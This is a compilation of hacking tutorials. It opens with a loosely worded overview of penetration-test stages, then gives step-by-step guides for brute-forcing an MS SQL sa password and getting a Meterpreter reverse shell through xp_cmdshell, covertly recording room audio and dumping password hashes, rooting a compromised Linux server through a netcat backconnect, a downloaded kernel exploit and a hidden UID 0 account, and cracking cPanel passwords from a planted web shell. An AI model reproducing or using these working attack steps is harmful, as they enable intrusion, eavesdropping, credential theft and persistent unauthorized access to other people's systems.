.

The Penetration Test Process

• Discovery: The process Penetration tests is a Discovery in variety of techniques e.g  scan utilities, databases, Google data & much more to get as much information about the target as possible. These discoveries are basically to reveal sensitive information which further results in a specific attacks on a given system.

• Enumeration: After discovery of systems and specific networks the next step is to gain as much as information as possible about that network. The diffrence b/w Discovery & Enumeration depends upon state of intrusion. Enumeration task is to get reletive information about username while software and hardware version information are also obtained form it.

• Vulnerability Identification: This is most important step in penetration testing. In vulnerability identification you have to locate the week spot of target system. To locate weaknesses or error in a target system is must needed because after that you will get to know where to launch an attack.

• Exploitation and Launching of Attacks: After vulnerability has been located and you have identified the target’s weekspot now it is possible to launch the exploits. The main purpose of launching exploits is to get full access on victims’s system.

• Denial of Service: This term is known as dDos (Denial of Service). This is used to check the stability of the systems either it is crashed or not. It is good habit to check the strenght or stability of a system, before the real environment attack is being made.

Reporting: This is just for educational purpose. Now after you have completed penetration test it is recomended to get user customized  for technical overview, This includes detailed recommendations, executive summary, identified vulnerabilities & other security ID numbers. These reports may be in various forms i.e pdf, html, xml etc. while every report must be modified by user’s choice.

How to Hack Databases: Cracking SQL Server Passwords & Owning the Server

How to Hack Databases: Cracking SQL Server Passwords 
& Owning the Server
 
In this tutorial, we'll look at how we can crack the password 
on the system admin (sa) account on the database, install a meterpreter payload through calling the stored procedure xp_cmdshell, and wreak havoc on their system.

Step 1: Start Metasploit

First, we need to start Metasploit. Once we have the 
metasploit command prompt, we need to define which 
module we want to use. 
In past Metasploit tutorials, we've always used exploits, 
but this one is a bit different. Instead, we will use a  
scanner  among the auxiliary modules that enables us
 to brute force 
the sa password. Let's load up mssql_login:

• use scanner/mssql/mssql_login

 

 

 

 


As you can see, Metasploit responds by telling us we have successfully loaded this auxiliary 


module. Now let's take a look at the options with this module.

• show options

Step 2: Set Your Options

In order to run this MS SQL login module, we will need:

1. A password file,
2. Set the RHOSTS, and
3. Determine the number of THREADS we want to run.

BackTrack has a wordlist specially built for MS SQL password hacking with over 57,000 c

ommonly used SQL passwords at /pentest/exploits/fasttrack/bin/wordlist.txt. In this case, 

our target is at 192.168.1.103, and we will set our THREADS to 20.

 

Step 3: Brute Force the Database Passwords

Now, we simply need to type exploit and it runs through password list until it finds the password

 for the sa account.

• exploit
•  

 

As you can see, after testing over 57,000 passwords (it takes a few minutes, so be patient),

 it found the password on our sa account of "NullByte". Success! Now we have full sysadmin 

privileges on the database that we can hopefully convert to full system sysadmin privileges.

 

Step 4: Grab the xp__cmdshell

Now that we have full sysadmin (sa) on the MS SQL database, we are going to leverage that

 to full system sysadmin privileges. MS SQL Server has a stored procedure named xp_cmdshell t

hat enables the sa account to gain a system command shell with full system admin rights. If we can i

nvoke that command shell, we may be able to load the payload of our choice on the system and 

own that system.
Metasploit has a exploit module named windows/mssql/mssqlpayload that attempts to do this.

 Let's load it.

• use windows/mssql/mssql_payload
•  

 

Now, let's check the options for this exploit:

• show options

In this case, we will try to load the meterpreter on this system, so let's:

• set PAYLOAD windows/meterpreter/reverse_tcp

In addition, we need to set the LPORT, the LHOST, the RHOST and the password we

 recovered from the sa account from above, in this case, "NullByte".

 

Now, simply type exploit and if all is right with the world, we should get a meterpreter prompt.

 

Success! We have a meterpreter session!

 

 

Step 5: Wreak Havoc!

Now that we have the meterpreter on this system thanks to the xp_cmdshell stored procedure, 

we can begin to wreak havoc on this system. Take a look at my list of meterpreter scripts and let's

 try a few.

First, let's turn on the microphone and listen in on the conversations of the sysadmin and anyone

 else in the room. Think of it as installing a bug in the room from the old James Bond 007 movies.

• meterpreter > run sound_recorder -i 100 -l /etc

 

This will grab 100 segments of audio of 30 seconds, or about 50 minutes, and save it in the /etc 

directory. Of course, we can record as much audio as we want. We are only limited by hard drive 

space.

 

Step 6: Grab the Hash

Now, let's grab some passwords so that we can log back back in whenever we please. Remember,
 once we have the admin password, we can login any time with Metasploit's psexec exploit.

• meterpreter > hashdump

As you can see, we were able to grab the password hashes from the system
.

We then need to either crack the hashes using John the Ripper,

Server Rooting Tutorial and Adding New Root User

! welcome to a tutorial on how to root a linux server.

This is going to be short,HQ tutorial with pictures included (For better learining)


So let's start with things you will need:

• 1) Shelled website
• 2) Local root exploit
• 3) NetCat

Chapter 1 - Gathering informations


Open up your .php shell on a hacked webserver.
I have mine for an example


Now you need to check what kernel your slave is using...
It should be something like 


Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686


Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.


Here's the list of exploits
http://pastebin.com/A0sUhhrz

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.


Chapter 2 - Backconnecting to the server
For this you will need:


1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)


So open your netcat and type:
-l -n -v -p 443
Hit "Enter"


Now it should write "listening on [any] 443 ..."
Good.
Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".

Now it should connect to your netcat 
I got something like this

Chapter 3 - Downloading exploit and executing it
Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits...8-164.zip) and go back to your netcat and type:

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

If your exploit is downloaded as anyrandomname.c you must compile it

Do do that first download that exploit and then type:

gcc anyrandomname.c -o anyrandomname

And our exploit is compiled. (If you get errors when compiling then find another exploit)

If you downloaded your exploit in zip file anyrandomname.zip type:

unzip anyrandomname.zip

Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

chmod 777 yourexploit'sname
With common sense where i typed "yourexploit'sname" you will type your exploit's name.

And one last final step is to run our exploit
./yourexploit'sname


To check if you got root type

id
or
whoami

Mine steps to root

Chapter 4 - Adding root user
Adding new root user is fairly easy
We use this command:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:
Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:
passwd Root2

(Root2 is your username)

See an example

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

id root2
(Root2 is your username)
GNY shell - http://privatepaste.com/1321f97984
Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

So that concluded our rooting tutorial.
I hope that someone will learn from this and that this thread will be bookmarked for generations

Cpanel Hacking/Cracking Tutorial

 Cpanel Hacking/Cracking Tutorial

Today we will Learn CPANEL cracking or Hacking  i.e gaining password for port no 2082 on website first of all we need a cpanel cracking shell on the server because we are going to crack those websites cpanels which are hosted on the shelled server. 

so lets start i am using cpanel.php [download it here]shell for cracking :) we need two things in cracking first one is usernames of the websites that are hosted on the server second is a good password dictonery [Get Passwords List Here]

so

 in first step :-
 grab the usernames of the websites using command ls /var/mail
 or use the "Grab the usernames from /etc/passwd" option in the shell

press the go button
  we have done from our side
  lets wait and watch ,if we have supplied good passwords then shell will show a message 
   " [~]# cracking success with username "xyz" with password "xyz"   "
  otherwise it will show 
   "[~] Please put some good passwords to crack username "xyz" :( "

  so chances of success depends on password list that we are using in cracking process
